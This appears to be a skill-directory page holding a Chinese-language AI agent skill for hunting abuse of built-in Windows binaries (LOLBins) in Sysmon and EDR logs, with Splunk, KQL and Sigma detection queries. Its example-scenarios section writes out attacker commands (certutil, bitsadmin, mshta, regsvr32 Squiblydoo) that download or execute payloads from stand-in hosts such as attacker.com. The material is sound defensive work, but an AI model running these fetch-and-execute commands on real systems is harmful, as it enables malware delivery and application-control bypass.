hunting-for-lolbins-execution-in-endpoint-logs
通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。
Best use case
hunting-for-lolbins-execution-in-endpoint-logs is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。
Teams using hunting-for-lolbins-execution-in-endpoint-logs should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/hunting-for-lolbins-execution-in-endpoint-logs/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How hunting-for-lolbins-execution-in-endpoint-logs Compares
| Feature / Agent | hunting-for-lolbins-execution-in-endpoint-logs | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
通过分析终端进程创建日志,识别合法 Windows 系统二进制文件(LOLBin)被用于恶意目的的可疑执行模式,狩猎攻击者的 LOLBin 滥用行为。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 在终端日志中狩猎 LOLBin 执行
## 适用场景
- 狩猎滥用内置 Windows 二进制文件的无文件攻击技术时
- 威胁情报显示针对所在行业的 LOLBin 攻击活动后
- 调查 certutil、mshta、rundll32 或 regsvr32 可疑使用告警时
- 紫队演练测试防御规避技术的检测时
- 评估 MITRE ATT&CK T1218 子技术的终端检测覆盖率时
## 前置条件
- 启用完整命令行日志的 Sysmon 事件 ID 1(进程创建)
- 启用命令行审计的 Windows 安全事件 ID 4688
- 包含父子进程关系的 EDR 遥测数据
- 用于查询和关联的 SIEM 平台(Splunk、Elastic、Microsoft Sentinel)
- LOLBAS 项目参考(lolbas-project.github.io)了解已知滥用模式
## 工作流程
1. **建立 LOLBin 监控清单**:从 LOLBAS 项目整理高风险 LOLBin 列表,优先关注:certutil.exe、mshta.exe、rundll32.exe、regsvr32.exe、msbuild.exe、installutil.exe、cmstp.exe、wmic.exe、wscript.exe、cscript.exe、bitsadmin.exe 和 powershell.exe。
2. **建立正常使用基线**:通过对每个二进制文件 30 天内的命令行参数、父进程和用户上下文进行分析,建立环境中正常 LOLBin 使用的基线。
3. **狩猎异常参数**:搜索带有异常命令行参数的 LOLBin 执行——certutil 带 `-urlcache -decode -encode`,mshta 带 URL 参数,rundll32 从 temp/用户目录加载 DLL,regsvr32 带 `/s /n /u /i:URL`。
4. **分析父子进程关系**:识别派生 LOLBin 的异常父进程——例如 outlook.exe 派生 mshta.exe,或 winword.exe 派生 certutil.exe,表明存在武器化文档投递。
5. **检查非标准路径执行**:从非标准路径执行的 LOLBin(复制到 %TEMP%、用户目录)表明存在重命名二进制文件滥用。
6. **关联网络活动**:将 LOLBin 执行与出站网络连接(Sysmon 事件 ID 3)进行关联,识别下载器和 C2 回连。
7. **评分和优先排序**:综合可疑参数、异常父进程、非标准路径和网络活动指标,按异常严重性对发现进行排名。
## 核心概念
| 概念 | 描述 |
|------|------|
| T1218 | 系统二进制文件代理执行 |
| T1218.001 | 编译 HTML 文件(mshta.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32(Squiblydoo) |
| T1218.011 | Rundll32 |
| T1127.001 | MSBuild |
| T1197 | BITS 任务(bitsadmin.exe) |
| T1140 | 解混淆/解码文件(certutil.exe) |
| T1059.001 | PowerShell |
| T1059.005 | Visual Basic(wscript/cscript) |
| LOLBAS | 系统内置二进制文件、脚本和库(Living Off the Land Binaries, Scripts and Libraries)项目 |
## 工具与系统
| 工具 | 用途 |
|------|------|
| Sysmon | 带命令行和哈希日志的进程创建 |
| CrowdStrike Falcon | 带 LOLBin 检测分析的 EDR |
| Microsoft Defender for Endpoint | 内置 LOLBin 滥用检测 |
| Splunk | 基于 SPL 的进程狩猎和异常检测 |
| Elastic Security | 预置 LOLBin 检测规则 |
| LOLBAS 项目 | LOLBin 滥用技术参考数据库 |
| Sigma Rules | 社区 LOLBin 滥用检测规则 |
## 检测查询
### Splunk——高风险 LOLBin 执行
```spl
index=sysmon EventCode=1
| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|msbuild|installutil|cmstp|bitsadmin)\.exe$")
| eval suspicious=case(
match(CommandLine, "(?i)certutil.*(-urlcache|-decode|-encode)"), "certutil_download_decode",
match(CommandLine, "(?i)mshta.*(http|https|javascript|vbscript)"), "mshta_remote_exec",
match(CommandLine, "(?i)rundll32.*\\\\(temp|appdata|users)"), "rundll32_unusual_dll",
match(CommandLine, "(?i)regsvr32.*/s.*/n.*/u.*/i:"), "regsvr32_squiblydoo",
match(CommandLine, "(?i)msbuild.*\\\\(temp|appdata|users)"), "msbuild_unusual_project",
match(CommandLine, "(?i)bitsadmin.*/transfer"), "bitsadmin_download",
match(CommandLine, "(?i)cmstp.*/s.*/ni"), "cmstp_uac_bypass",
1=1, "normal"
)
| where suspicious!="normal"
| table _time Computer User Image CommandLine ParentImage ParentCommandLine suspicious
```
### KQL——Microsoft Sentinel LOLBin 狩猎
```kql
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
"msbuild.exe", "installutil.exe", "cmstp.exe", "bitsadmin.exe")
| where ProcessCommandLine matches regex @"(?i)(urlcache|decode|encode|http://|https://|javascript:|vbscript:|/s\s+/n|/transfer)"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
```
### Sigma 规则——可疑 LOLBin 命令行
```yaml
title: Suspicious LOLBin Execution with Malicious Arguments
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
- '-encode'
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http://'
- 'https://'
- 'javascript:'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains|all:
- '/s'
- '/i:'
condition: 1 of selection_*
level: high
tags:
- attack.defense_evasion
- attack.t1218
```
## 常见场景
1. **certutil 下载器**:`certutil.exe -urlcache -split -f http://malicious.com/payload.exe %TEMP%\payload.exe` 用于下载恶意软件,绕过代理过滤器。
2. **mshta HTA 执行**:`mshta.exe http://attacker.com/malicious.hta` 执行包含 VBScript 或 JScript 载荷的远程 HTA 文件。
3. **regsvr32 Squiblydoo**:`regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll` 执行远程 SCT 文件,绕过应用程序白名单。
4. **rundll32 DLL 代理**:`rundll32.exe C:\Users\user\AppData\Local\Temp\malicious.dll,EntryPoint` 通过合法二进制文件执行攻击者 DLL。
5. **MSBuild 内联任务**:`msbuild.exe C:\Temp\malicious.csproj` 执行嵌入在项目文件中的 C# 代码,绕过应用程序控制。
6. **BITS 传输**:`bitsadmin /transfer job /download /priority high http://attacker.com/malware.exe C:\Temp\update.exe` 使用 BITS 服务隐蔽下载文件。
7. **WMIC XSL 执行**:`wmic process list /format:evil.xsl` 从 XSL 样式表执行 JScript/VBScript。
## 输出格式
```
狩猎 ID:TH-LOLBIN-[日期]-[序号]
主机:[主机名]
用户:[账户上下文]
LOLBin:[二进制文件名]
完整路径:[执行路径]
命令行:[完整参数]
父进程:[父镜像和命令行]
检测类别:[download_cradle/proxy_exec/uac_bypass/applocker_bypass]
网络活动:[是/否——如适用,填写目标地址]
风险等级:[严重/高/中/低]
```Related Skills
performing-threat-hunting-with-yara-rules
使用 YARA 模式匹配规则在文件系统和内存转储中狩猎恶意软件、可疑文件和入侵指标。 涵盖规则编写、yara-python 扫描以及与威胁情报源的集成。
performing-threat-hunting-with-elastic-siem
使用 KQL/EQL 查询、检测规则和 Timeline 调查在 Elastic Security SIEM 中执行主动威胁狩猎, 识别绕过自动检测的威胁。适用于 SOC 团队针对特定 ATT&CK 技术进行狩猎、调查异常行为, 或使用 Elasticsearch 和 Kibana Security 验证检测覆盖缺口。
performing-endpoint-vulnerability-remediation
通过基于风险评分对 CVE 进行优先级排序、部署补丁、应用配置变更和验证修复 来执行端点漏洞修复。适用于修复漏洞扫描发现的问题、响应严重 CVE 公告 或维护端点合规性与补丁管理 SLA 的场景。适用于涉及漏洞修复、CVE 补丁、 端点漏洞管理或安全修复部署的请求。
performing-endpoint-forensics-investigation
对受损端点执行数字取证调查,包括内存获取、磁盘镜像、工件分析和时间线重建。 适用于调查安全事件、为法律诉讼收集证据或分析端点受损范围的场景。 适用于涉及端点取证、内存分析、磁盘取证或事件调查的请求。
implementing-osquery-for-endpoint-monitoring
部署 osquery 计划查询进行持续终端监控,涵盖进程清单、网络连接、文件完整性和持久化机制。 生成包含查询包的 osquery.conf,配置差异结果日志记录,并分析查询结果以检测 可疑进程、未授权监听端口和系统目录中的文件修改。
implementing-endpoint-dlp-controls
实施端点数据丢失防护(DLP)控制,检测并防止敏感数据通过电子邮件、USB、 云存储和打印进行泄露。适用于部署 DLP 代理、创建内容检查策略或防止 端点上未授权数据移动的场景。适用于涉及 DLP、数据泄露防护、内容检查 或端点敏感数据保护的请求。
implementing-endpoint-detection-with-wazuh
部署并配置 Wazuh SIEM/XDR 进行终端检测,包括 Agent 管理、自定义解码器和规则 XML 创建、通过 Wazuh REST API 查询告警,以及自动化响应动作。
hunting-living-off-the-land-binaries
检测 Windows 事件日志和 Sysmon 遥测数据中对离地攻击(Living Off The Land Binaries,LOLBAS)的滥用, 包括 certutil、wmic、mshta、regsvr32 和 rundll32 等工具。 通过将进程创建事件与 LOLBAS 项目数据库交叉比对来构建检测规则。 适用于针对无文件攻击技术的威胁狩猎或构建 SIEM 检测规则的场景。
hunting-for-webshells-in-web-servers
通过扫描高熵值文件、可疑的 PHP/JSP/ASP 模式(eval、base64_decode、system、passthru)、 Web 根目录中近期修改的文件以及异常文件大小,检测植入 Web 服务器的 Webshell(网页后门)。 使用香农熵(Shannon entropy)计算标记混淆载荷,并通过正则表达式模式匹配已知 Webshell 特征。
hunting-for-webshell-activity
通过分析 Web 目录中的文件创建行为、Web 服务器异常进程派生以及异常 HTTP 模式,狩猎面向互联网服务器上的 Webshell 部署。
hunting-for-unusual-service-installations
通过解析系统事件日志中的事件 ID 7045、分析服务二进制路径并识别持久化机制指标,检测可疑 Windows 服务安装(MITRE ATT&CK T1543.003)。
hunting-for-unusual-network-connections
通过分析出站流量模式、稀有目标地址、非标准端口和终端异常连接频率,狩猎异常网络连接。